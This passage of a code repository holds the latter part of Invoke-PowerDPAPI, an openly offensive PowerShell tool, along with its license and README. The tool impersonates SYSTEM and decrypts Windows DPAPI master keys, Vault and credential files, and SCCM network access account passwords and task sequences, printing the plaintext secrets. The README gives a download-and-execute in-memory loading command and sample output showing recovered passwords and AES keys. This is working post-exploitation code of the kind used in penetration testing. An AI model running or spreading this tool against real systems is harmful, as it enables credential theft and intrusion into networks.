size : {0}" -f $credSize) 1598 | Write-Host (" flags : 0x{0:X8} (CRYPTPROTECT_SYSTEM)" -f $credFlags) 1599 | Write-Host (" algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)") 1600 | Write-Host (" description : Local Credential Data") 1601 | Write-Host (" LastWritten : {0}" -f $lastWrittenTime) 1602 | Write-Host (" TargetName : {0}" -f $targetName.Trim()) 1603 | Write-Host (" TargetAlias : {0}" -f $targetAlias.Trim()) 1604 | Write-Host (" Comment : {0}" -f $comment.Trim()) 1605 | Write-Host (" UserName : {0}" -f $userName.Trim()) 1606 | 1607 | if ($credBlobBytes.Length -gt 0) 1608 | { 1609 | if (Is-Unicode $credBlobBytes) 1610 | { 1611 | $credBlob = [System.Text.Encoding]::Unicode.GetString($credBlobBytes) 1612 | Write-Host (" Credential : {0}" -f $credBlob.Trim()) 1613 | } 1614 | else 1615 | { 1616 | $credBlobByteString = ($credBlobBytes | ForEach-Object { "{0:X2}" -f $_ }) -join " " 1617 | Write-Host (" Credential : {0}" -f $credBlobByteString.Trim()) 1618 | } 1619 | } 1620 | else 1621 | { 1622 | Write-Host (" Credential :") 1623 | } 1624 | 1625 | Write-Host "`n" 1626 | } 1627 | catch 1628 | { 1629 | Write-Host " [!] Error parsing decrypted credential blob: $($_.Exception.Message)" 1630 | } 1631 | } 1632 | 1633 | 1634 | function AES-Decrypt { 1635 | param ([byte[]] $key, [byte[]] $IV, [byte[]] $data) 1636 | 1637 | $aesCryptoProvider = [System.Security.Cryptography.AesManaged]::new() 1638 | $aesCryptoProvider.Key = $key 1639 | 1640 | if ($IV.Length -ne 0) 1641 | { 1642 | $aesCryptoProvider.IV = $IV 1643 | } 1644 | 1645 | $aesCryptoProvider.Mode = [Security.Cryptography.CipherMode]::CBC 1646 | 1647 | $plaintextBytes = $aesCryptoProvider.CreateDecryptor().TransformBlock($data, 0, $data.Length) 1648 | 1649 | return $plaintextBytes 1650 | } 1651 | 1652 | function Parse-DecPolicyBlob { 1653 | param ([byte[]]$decBlobBytes) 1654 | 1655 | function Find-ArrayIndex { 1656 | param ([byte[]]$array, [byte[]]$pattern, [int]$startIndex = 0) 1657 | 1658 | for ($i = $startIndex; $i -le $array.Length - $pattern.Length; $i++) 1659 | { 1660 | $found = $true 1661 | for ($j = 0; $j -lt $pattern.Length; $j++) 1662 | { 1663 | if ($array[$i + $j] -ne $pattern[$j]) 1664 | { 1665 | $found = $false 1666 | break 1667 | } 1668 | } 1669 | if ($found) 1670 | { 1671 | return $i 1672 | } 1673 | } 1674 | return -1 1675 | } 1676 | 1677 | $keys = @() 1678 | $s = [System.Text.Encoding]::ASCII.GetString($decBlobBytes, 12, 4) 1679 | 1680 | if ($s -eq 'KDBM') 1681 | { 1682 | $offset = 20 1683 | 1684 | $aes128len = [BitConverter]::ToInt32($decBlobBytes, $offset) 1685 | $offset += 4 1686 | 1687 | if ($aes128len -ne 16) 1688 | { 1689 | Write-Warning "Error parsing decrypted Policy.vpol (aes128len != 16)" 1690 | return $keys 1691 | } 1692 | 1693 | $aes128Key = $decBlobBytes[$offset..($offset + $aes128len - 1)] 1694 | $offset += $aes128len 1695 | 1696 | $offset += 20 1697 | 1698 | $aes256len = [BitConverter]::ToInt32($decBlobBytes, $offset) 1699 | $offset += 4 1700 | 1701 | if ($aes256len -ne 32) 1702 | { 1703 | Write-Warning "Error parsing decrypted Policy.vpol (aes256len != 32)" 1704 | return $keys 1705 | } 1706 | 1707 | $aes256Key = $decBlobBytes[$offset..($offset + $aes256len - 1)] 1708 | 1709 | $keys += ,$aes128Key 1710 | $keys += ,$aes256Key 1711 | } 1712 | else 1713 | { 1714 | $offset = 16 1715 | $s2 = [System.Text.Encoding]::ASCII.GetString($decBlobBytes, $offset, 4) 1716 | $offset += 4 1717 | 1718 | if ($s2 -eq 'KSSM') 1719 | { 1720 | $offset += 16 1721 | 1722 | $aes128len = [BitConverter]::ToInt32($decBlobBytes, $offset) 1723 | $offset += 4 1724 | 1725 | if ($aes128len -ne 16) 1726 | { 1727 | Write-Warning "Error parsing decrypted Policy.vpol (aes128len != 16)" 1728 | return $keys 1729 | } 1730 | 1731 | $aes128Key = $decBlobBytes[$offset..($offset + $aes128len - 1)] 1732 | $offset += $aes128len 1733 | 1734 | $pattern = 0x4b,0x53,0x53,0x4d,0x02,0x00,0x01,0x00,0x01,0x00,0x00,0x00 1735 | $index = Find-ArrayIndex -array $decBlobBytes -pattern $pattern -startIndex $offset 1736 | 1737 | if ($index -ne -1) 1738 | { 1739 | $offset = $index + 20 1740 | 1741 | $aes256len = [BitConverter]::ToInt32($decBlobBytes, $offset) 1742 | $offset += 4 1743 | 1744 | if ($aes256len -ne 32) 1745 | { 1746 | Write-Warning "Error parsing decrypted Policy.vpol (aes256len != 32)" 1747 | return $keys 1748 | } 1749 | 1750 | $aes256Key = $decBlobBytes[$offset..($offset + $aes256len - 1)] 1751 | 1752 | $keys += ,$aes128Key 1753 | $keys += ,$aes256Key 1754 | } 1755 | else 1756 | { 1757 | Write-Warning "Error in decrypting Policy.vpol: second MSSK header not found!" 1758 | } 1759 | } 1760 | } 1761 | 1762 | return $keys 1763 | } 1764 | 1765 | 1766 | 1767 | function Describe-VaultPolicy { 1768 | param([byte[]]$PolicyBytes, [hashtable]$MasterKeys) 1769 | 1770 | # Decrypts Windows Vault policy files to extract AES encryption keys for vault credential decryption. 1771 | # Hand-off: Calls Describe-DPAPIBlob for policy decryption, then Parse-DecPolicyBlob for key extraction. 1772 | 1773 | $offset = 0 1774 | 1775 | $version = [BitConverter]::ToInt32($PolicyBytes, $offset) 1776 | $offset += 4 1777 | 1778 | $vaultIDbytes = $PolicyBytes[$offset..($offset+15)] 1779 | $vaultID = [Guid]::New([byte[]]$vaultIDbytes) 1780 | $offset += 16 1781 | 1782 | Write-Host "`n VaultID : $vaultID" 1783 | 1784 | $nameLen = [BitConverter]::ToInt32($PolicyBytes, $offset) 1785 | $offset += 4 1786 | $name = [System.Text.Encoding]::Unicode.GetString($PolicyBytes, $offset, $nameLen) 1787 | $offset += $nameLen 1788 | Write-Host " Name : $name" 1789 | 1790 | # skip unk0/unk1/unk2 1791 | $offset += 12 1792 | 1793 | $keyLen = [BitConverter]::ToInt32($PolicyBytes, $offset) 1794 | $offset += 4 1795 | 1796 | # skip unk0/unk1 GUIDs 1797 | $offset += 32 1798 | 1799 | $keyBlobLen = [BitConverter]::ToInt32($PolicyBytes, $offset) 1800 | $offset += 4 1801 | 1802 | $blobBytes = $PolicyBytes[$offset..($offset + $keyBlobLen - 1)] 1803 | $offset += $keyBlobLen 1804 | 1805 | $plaintextBytes = Describe-DPAPIBlob -blobBytes $blobBytes -MasterKeys $MasterKeys -Type "policy" 1806 | 1807 | if ($plaintextBytes -and $plaintextBytes.Length -gt 0) { 1808 | $keys = Parse-DecPolicyBlob -decBlobBytes $plaintextBytes 1809 | 1810 | if ($keys.Count -eq 2) { 1811 | Write-Host (" guidMasterKey : {0}" -f $global:CurrentGuidMasterKey) 1812 | Write-Host (" size : {0}" -f $blobBytes.Length) 1813 | Write-Host (" flags : 0x{0:X8} (CRYPTPROTECT_SYSTEM)" -f 0x20000000) 1814 | Write-Host (" algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)") 1815 | Write-Host (" description : Vault Policy Key") 1816 | 1817 | $aes128KeyStr = [BitConverter]::ToString($keys[0]).Replace("-", "") 1818 | Write-Host " aes128 key : $aes128KeyStr" 1819 | 1820 | $aes256KeyStr = [BitConverter]::ToString($keys[1]).Replace("-", "") 1821 | Write-Host " aes256 key : $aes256KeyStr" 1822 | 1823 | return $keys 1824 | } 1825 | else { 1826 | Write-Host " [!] Error parsing decrypted Policy.vpol (AES keys not extracted, likely incorrect password for the associated masterkey)" 1827 | return @() 1828 | } 1829 | } 1830 | else { 1831 | Write-Host " [!] Failed to decrypt Policy.vpol" 1832 | return @() 1833 | } 1834 | } 1835 | 1836 | function Describe-VaultItem { 1837 | param([byte[]]$VaultItemBytes) 1838 | 1839 | # Parses decrypted vault item structure to extract credential properties and values. 1840 | # Hand-off: Terminal function that outputs vault credential details including resource, identity, and authenticator. 1841 | 1842 | $offset = 0 1843 | $version = [BitConverter]::ToInt32($VaultItemBytes, $offset) 1844 | $offset += 4 1845 | $count = [BitConverter]::ToInt32($VaultItemBytes, $offset) 1846 | $offset += 4 1847 | $offset += 4 # skip unk 1848 | 1849 | for ($i = 0; $i -lt $count; ++$i) { 1850 | $id = [BitConverter]::ToInt32($VaultItemBytes, $offset) 1851 | $offset += 4 1852 | $size = [BitConverter]::ToInt32($VaultItemBytes, $offset) 1853 | $offset += 4 1854 | $entryString = [System.Text.Encoding]::Unicode.GetString($VaultItemBytes, $offset, $size) 1855 | $entryData = $VaultItemBytes[$offset..($offset + $size - 1)] 1856 | $offset += $size 1857 | 1858 | switch ($id) { 1859 | 1 { Write-Host " Resource : $entryString" } 1860 | 2 { Write-Host " Identity : $entryString" } 1861 | 3 { Write-Host " Authenticator : $entryString" } 1862 | default { 1863 | if (Is-Unicode -Data $entryData) { 1864 | Write-Host " Property $id : $entryString" 1865 | } else { 1866 | $entryDataString = ($entryData | ForEach-Object { "{0:X2}" -f $_ }) -join ' ' 1867 | Write-Host " Property $id : $entryDataString" 1868 | } 1869 | } 1870 | } 1871 | } 1872 | } 1873 | 1874 | 1875 | function Describe-VaultCred { 1876 | param([byte[]]$VaultBytes,[array]$AESKeys) 1877 | 1878 | # Decrypts Windows Vault credential files using extracted AES keys from vault policy. 1879 | # Hand-off: Calls AESDecrypt for credential decryption, then Describe-VaultItem for credential parsing. 1880 | 1881 | $aes128key = $AESKeys[0] 1882 | $aes256key = $AESKeys[1] 1883 | 1884 | $offset = 0 1885 | $finalAttributeOffset = 0 1886 | 1887 | # skip schema GUID 1888 | $offset += 16 1889 | 1890 | $unk0 = [BitConverter]::ToInt32($VaultBytes, $offset) 1891 | $offset += 4 1892 | 1893 | $lastWritten = [BitConverter]::ToInt64($VaultBytes, $offset) 1894 | $offset += 8 1895 | $lastWrittenTime = [DateTime]::FromFileTime($lastWritten) 1896 | Write-Host "`n LastWritten : $lastWrittenTime" 1897 | 1898 | # skip unk1/unk2 1899 | $offset += 8 1900 | 1901 | $friendlyNameLen = [BitConverter]::ToInt32($VaultBytes, $offset) 1902 | $offset += 4 1903 | $friendlyName = [System.Text.Encoding]::Unicode.GetString($VaultBytes, $offset, $friendlyNameLen) 1904 | $offset += $friendlyNameLen 1905 | Write-Host " FriendlyName : $friendlyName" 1906 | 1907 | $attributeMapLen = [BitConverter]::ToInt32($VaultBytes, $offset) 1908 | $offset += 4 1909 | 1910 | $numberOfAttributes = [math]::Floor($attributeMapLen / 12) 1911 | $attributeMap = @{} 1912 | 1913 | for ($i = 0; $i -lt $numberOfAttributes; ++$i) { 1914 | $attributeNum = [BitConverter]::ToInt32($VaultBytes, $offset) 1915 | $offset += 4 1916 | $attributeOffset = [BitConverter]::ToInt32($VaultBytes, $offset) 1917 | $offset += 8 # skip unk 1918 | $attributeMap[$attributeNum] = $attributeOffset 1919 | } 1920 | 1921 | $leftover = $VaultBytes[222..($VaultBytes.Length - 1)] 1922 | 1923 | foreach ($attribute in $attributeMap.GetEnumerator()) { 1924 | $attributeOffset = $attribute.Value + 16 1925 | 1926 | if ($attribute.Key -ge 100) { 1927 | $attributeOffset += 4 1928 | } 1929 | 1930 | $dataLen = [BitConverter]::ToInt32($VaultBytes, $attributeOffset) 1931 | $attributeOffset += 4 1932 | 1933 | $finalAttributeOffset = $attributeOffset 1934 | 1935 | if ($dataLen -gt 0) { 1936 | $IVPresent = [BitConverter]::ToBoolean($VaultBytes, $attributeOffset) 1937 | $attributeOffset += 1 1938 | 1939 | if (-not $IVPresent) { 1940 | $dataBytes = $VaultBytes[$attributeOffset..($attributeOffset + $dataLen - 2)] 1941 | $finalAttributeOffset = $attributeOffset + $dataLen - 1 1942 | # You must implement AESDecrypt 1943 | $decBytes = AESDecrypt -Key $aes128key -IV @() -Data $dataBytes 1944 | } else { 1945 | $IVLen = [BitConverter]::ToInt32($VaultBytes, $attributeOffset) 1946 | $attributeOffset += 4 1947 | $IVBytes = $VaultBytes[$attributeOffset..($attributeOffset + $IVLen - 1)] 1948 | $attributeOffset += $IVLen 1949 | $dataBytes = $VaultBytes[$attributeOffset..($attributeOffset + $dataLen - 1 - 4 - $IVLen)] 1950 | $attributeOffset += $dataLen - 1 - 4 - $IVLen 1951 | $finalAttributeOffset = $attributeOffset 1952 | $decBytes = AESDecrypt -Key $aes256key -IV $IVBytes -Data $dataBytes 1953 | Describe-VaultItem -VaultItemBytes $decBytes 1954 | } 1955 | } 1956 | } 1957 | 1958 | if (($numberOfAttributes -gt 0) -and ($unk0 -lt 4)) { 1959 | $clearOffset = $finalAttributeOffset - 2 1960 | $clearBytes = $VaultBytes[$clearOffset..($VaultBytes.Length - 1)] 1961 | 1962 | $cleatOffSet2 = 0 1963 | $cleatOffSet2 += 4 # skip ID 1964 | 1965 | $dataLen = [BitConverter]::ToInt32($clearBytes, $cleatOffSet2) 1966 | $cleatOffSet2 += 4 1967 | 1968 | if ($dataLen -gt 2000) { 1969 | Write-Host " [*] Vault credential clear attribute is > 2000 bytes, skipping..." 1970 | } elseif ($dataLen -gt 0) { 1971 | $IVPresent = [BitConverter]::ToBoolean($VaultBytes, $cleatOffSet2) 1972 | $cleatOffSet2 += 1 1973 | 1974 | if (-not $IVPresent) { 1975 | $dataBytes = $clearBytes[$cleatOffSet2..($cleatOffSet2 + $dataLen - 2)] 1976 | $decBytes = AESDecrypt -Key $aes128key -IV @() -Data $dataBytes 1977 | } else { 1978 | $IVLen = [BitConverter]::ToInt32($clearBytes, $cleatOffSet2) 1979 | $cleatOffSet2 += 4 1980 | $IVBytes = $clearBytes[$cleatOffSet2..($cleatOffSet2 + $IVLen - 1)] 1981 | $cleatOffSet2 += $IVLen 1982 | $dataBytes = $clearBytes[$cleatOffSet2..($cleatOffSet2 + $dataLen - 1 - 4 - $IVLen)] 1983 | $cleatOffSet2 += $dataLen - 1 - 4 - $IVLen 1984 | $decBytes = AESDecrypt -Key $aes256key -IV $IVBytes -Data $dataBytes 1985 | Describe-VaultItem -VaultItemBytes $decBytes 1986 | } 1987 | } 1988 | } 1989 | } 1990 | 1991 | 1992 | function Triage-SystemVaults { 1993 | param([hashtable]$MasterKeys) 1994 | 1995 | # Orchestrates Windows Vault enumeration and decryption across system service profiles. 1996 | # Hand-off: Calls Triage-VaultFolder for each vault directory containing Policy.vpol files. 1997 | 1998 | Write-Host "`n[*] Triaging SYSTEM Vaults`n" 1999 | 2000 | $folderLocations = @( 2001 | "${env:SystemRoot}\System32\config\systemprofile\AppData\Local\Microsoft\Vault", 2002 | "${env:SystemRoot}\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault", 2003 | "${env:SystemRoot}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Vault", 2004 | "${env:SystemRoot}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Vault", 2005 | "${env:SystemRoot}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Vault", 2006 | "${env:SystemRoot}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Vault" 2007 | ) 2008 | 2009 | foreach ($location in $folderLocations) { 2010 | if (-not (Test-Path -Path $location -PathType Container)) { 2011 | continue 2012 | } 2013 | 2014 | $vaultDirs = Get-ChildItem -Path $location -Directory | 2015 | Select-Object -ExpandProperty FullName 2016 | 2017 | foreach ($vaultDir in $vaultDirs) { 2018 | $dirName = Split-Path $vaultDir -Leaf 2019 | if ($dirName -match '^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$') { 2020 | Triage-VaultFolder -Folder $vaultDir -MasterKeys $MasterKeys 2021 | } 2022 | } 2023 | } 2024 | } 2025 | 2026 | 2027 | 2028 | function Triage-VaultFolder { 2029 | param ([string]$Folder, [hashtable]$MasterKeys) 2030 | 2031 | # Processes Windows Vault policy files and credential files within a vault directory. 2032 | # Hand-off: Calls Describe-VaultPolicy for policy decryption, then Describe-VaultCred for each credential file. 2033 | 2034 | $PolicyFilePath = "$Folder\Policy.vpol" 2035 | 2036 | if (-not ([System.IO.File]::Exists($PolicyFilePath))) { 2037 | return 2038 | } 2039 | 2040 | Write-Host "[*] Triaging Vault Folder: $Folder" 2041 | 2042 | $PolicyBytes = [System.IO.File]::ReadAllBytes($PolicyFilePath) 2043 | 2044 | $keys = Describe-VaultPolicy $PolicyBytes $MasterKeys 2045 | 2046 | if ($keys.Count -eq 0) { 2047 | return 2048 | } 2049 | 2050 | $VaultCredFiles = [System.IO.Directory]::GetFiles($Folder) 2051 | 2052 | if ($VaultCredFiles -eq $null -or $VaultCredFiles.Length -eq 0) { 2053 | return 2054 | } 2055 | 2056 | foreach ($VaultCredFile in $VaultCredFiles) { 2057 | $FileName = [System.IO.Path]::GetFileName($VaultCredFile) 2058 | 2059 | if (-not ($FileName.EndsWith("vcrd"))) { 2060 | continue 2061 | } 2062 | 2063 | try { 2064 | $vaultCredBytes = [System.IO.File]::ReadAllBytes($VaultCredFile) 2065 | Describe-VaultCred $vaultCredBytes $keys 2066 | } 2067 | 2068 | catch { 2069 | Write-Host "ERROR" 2070 | } 2071 | } 2072 | } 2073 | 2074 | 2075 | 2076 | function Invoke-PowerDPAPI 2077 | { 2078 | param ([string]$Command, [switch] $SaveTS) 2079 | 2080 | Write-Host "`n" 2081 | 2082 | $Impersonate = Invoke-Impersonate 2083 | 2084 | if (-not ($Impersonate)) 2085 | { 2086 | return "[!] Unable to elevate" 2087 | } 2088 | 2089 | try 2090 | { 2091 | $MasterKeys = $null 2092 | 2093 | if ($SaveTS) 2094 | { 2095 | $global:NoSave = $false 2096 | } 2097 | 2098 | else 2099 | { 2100 | $global:NoSave = $true 2101 | } 2102 | 2103 | switch ($Command) 2104 | { 2105 | "MachineTriage" 2106 | 2107 | { 2108 | 2109 | $MasterKeys = Triage-SystemMasterKeys 2110 | Triage-SystemCreds -MasterKeys $MasterKeys 2111 | Triage-SccmWMI -MasterKeys $MasterKeys 2112 | Triage-SccmDisk -MasterKeys $MasterKeys 2113 | Triage-SystemVaults -MasterKeys $MasterKeys 2114 | } 2115 | 2116 | "MachineVaults" 2117 | 2118 | { 2119 | $MasterKeys = Triage-SystemMasterKeys 2120 | Triage-SystemVaults -MasterKeys $MasterKeys 2121 | } 2122 | 2123 | "MachineCredentials" 2124 | 2125 | { 2126 | $MasterKeys = Triage-SystemMasterKeys 2127 | Triage-SystemCreds -MasterKeys $MasterKeys 2128 | } 2129 | 2130 | "SCCM" 2131 | 2132 | { 2133 | 2134 | $MasterKeys = Triage-SystemMasterKeys 2135 | Triage-SccmWMI -MasterKeys $MasterKeys 2136 | Triage-SccmDisk -MasterKeys $MasterKeys 2137 | } 2138 | 2139 | "SCCM_WMI" 2140 | 2141 | { 2142 | 2143 | $MasterKeys = Triage-SystemMasterKeys 2144 | Triage-SccmWMI -MasterKeys $MasterKeys 2145 | } 2146 | 2147 | "SCCM_DISK" 2148 | 2149 | { 2150 | $MasterKeys = Triage-SystemMasterKeys 2151 | Triage-SccmDisk -MasterKeys $MasterKeys 2152 | } 2153 | 2154 | Default 2155 | 2156 | { 2157 | Write-Host "[*] Command not recognised" 2158 | } 2159 | } 2160 | } 2161 | 2162 | finally 2163 | { 2164 | 2165 | if (Get-Variable -Name "mappings" -Scope "Global" -ErrorAction "SilentlyContinue") 2166 | { 2167 | Remove-Variable -Name "mappings" -Scope "Global" -Force 2168 | } 2169 | 2170 | $FnRevertToSelf.Invoke() > $null 2171 | } 2172 | } 2173 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2025, The-Viper-One 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Invoke-PowerDPAPI 2 | Invoke-PowerDPAPI is a PowerShell port of some [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) and [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) functionality. 3 | 4 | For the moment this is limited to SYSTEM level functions such as triaging SYSTEM master keys and decrpypting the following secrets: 5 | 6 | - System Vaults 7 | - System Credentials 8 | - SCCM NAA accounts (WMI / Disk) 9 | - SCCM Task Sequences (WMI / Disk) 10 | 11 | ## Future Updates 12 | 13 | Not all SharpDPAPI functionality will be implemented into this port. This will be limited to functionality that fits my workflow and code that I believe can be reused in further projects. 14 | 15 | Future updates to be completed: 16 | - User level DPAPI 17 | - Automate takeover of each user logon session and decrypt each user DPAPI secret 18 | - SYSTEM Certificates 19 | - Domain Backup key support 20 | 21 | ## Requirements 22 | 23 | ❗ Invoke-PowerDPAPI must be executed in a high integrity process 24 | 25 | ## Load into memory 26 | ```powershell 27 | IRM "https://raw.githubusercontent.com/The-Viper-One/Invoke-PowerDPAPI/refs/heads/main/Invoke-PowerDPAPI.ps1" | IEX 28 | ``` 29 | 30 | ## Usage 31 | 32 | ### Triage Everything 33 | > Runs MachineVaults, MachineCredentials, SCCM_Disk and SCCM_WMI 34 | 35 | ```powershell 36 | Invoke-PowerDPAPI MachineTriage 37 | ``` 38 |   39 | 40 | ### Triage MachineVaults 41 | ```powershell 42 | Invoke-PowerDPAPI MachineVaults 43 | ``` 44 | ``` 45 | [*] Triaging SYSTEM Vaults 46 | 47 | [*] Triaging Vault Folder: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28 48 | 49 | VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 50 | Name : Web Credentials 51 | guidMasterKey : {e922342f-143e-4b65-a25b-e83354a47007} 52 | size : 324 53 | flags : 0x20000000 (CRYPTPROTECT_SYSTEM) 54 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 55 | description : 56 | guidMasterKey : 57 | size : 324 58 | flags : 0x20000000 (CRYPTPROTECT_SYSTEM) 59 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 60 | description : Vault Policy Key 61 | aes128 key : 17D5264E849A7136427830A4835B8669 62 | aes256 key : 428397F3F8260174A5923BC66CC014CB2D3C4ABAFB5FFBC90D7A959DC4DC817C 63 | ``` 64 |   65 | 66 | ### Triage MachineCredentials 67 | ```powershell 68 | Invoke-PowerDPAPI MachineCredentials 69 | ``` 70 | ``` 71 | [*] Triaging System Credentials 72 | 73 | Folder : C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials 74 | 75 | CredFile : 3F38B7EDDCC210906994CAC4A9077348 76 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632} 77 | size : 544 78 | flags : 0x20000000 (CRYPTPROTECT_SYSTEM) 79 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 80 | description : Local Credential Data 81 | 82 | guidMasterKey : 83 | size : 264 84 | flags : 0x00000030 (CRYPTPROTECT_SYSTEM) 85 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 86 | description : Local Credential Data 87 | LastWritten : 6/19/2025 12:18:59 AM 88 | TargetName : Domain:batch=TaskScheduler:Task:{52340B14-C919-4223-970B-103AAAFE2720} 89 | TargetAlias : 90 | Comment : 91 | UserName : ludus\domainuser 92 | Credential : password 93 | ``` 94 |   95 | 96 | ### Triage SCCM (WMI and Disk) 97 | > Runs SCCM_WMI and SCCM_Disk 98 | ```powershell 99 | Invoke-PowerDPAPI SCCM 100 | ``` 101 |   102 | 103 | ### Triage SCCM (WMI) 104 | ```powershell 105 | Invoke-PowerDPAPI SCCM_WMI 106 | Invoke-PowerDPAPI SCCM_WMI -SaveTS # Saves Task Sequences in XML format to PWD 107 | ``` 108 | ``` 109 | [+] Found 1 Network Access Account(s) 110 | [+] Decrypting network access account credentials 111 | 112 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632} 113 | size : 266 114 | flags : 0x00000000 115 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 116 | description : 117 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632} 118 | size : 250 119 | flags : 0x00000000 120 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 121 | description : 122 | 123 | 124 | Network Access Username: ludus\sccm_naa_2 125 | Network Access Password: password123 126 | 127 | [+] Found 2 Task Sequence(s) 128 | [+] Decrypting Task Sequences 129 | 130 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632} 131 | size : 8042 132 | flags : 0x00000000 133 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 134 | description : 135 | 136 | [+] Task Sequence: 137 | 138 | 139 | smsswd.exe /run: sqlcmd -S myserver.database.windows.net -d MyDatabase -U MyUserName -P MySecretPassword -Q "SELECT TOP 10 * FROM dbo.MyTable" 140 | 141 | 142 | false 143 | 144 | 145 | false 146 | 147 | 148 | 149 | 150 | ``` 151 |   152 | 153 | ### Triage SCCM (Disk) 154 | ```powershell 155 | Invoke-PowerDPAPI SCCM_Disk 156 | Invoke-PowerDPAPI SCCM_Disk -SaveTS # Saves Task Sequences in XML format to PWD 157 | ``` 158 | ``` 159 | [+] Decrypting 1 network access account secrets 160 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632} 161 | size : 266 162 | flags : 0x00000000 163 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 164 | description : 165 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632} 166 | size : 250 167 | flags : 0x00000000 168 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 169 | description : 170 | 171 | NetworkAccessUsername: ludus\sccm_naa_2 172 | NetworkAccessPassword: password123 173 | 174 | [+] Decrypting 1 task sequence secrets 175 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632} 176 | size : 2154 177 | flags : 0x00000000 178 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) 179 | description : 180 | 181 | 182 | 183 | smsswd.exe /run: sqlcmd -S myserver.database.windows.net -d MyDatabase -U MyUserName -P MySecretPassword -Q "SELECT TOP 10 * FROM dbo.MyTable" 184 | 185 | 186 | false 187 | 188 | 189 | false 190 | 191 | 192 | 193 | 194 | ``` 195 |   196 | 197 | --------------------------------------------------------------------------------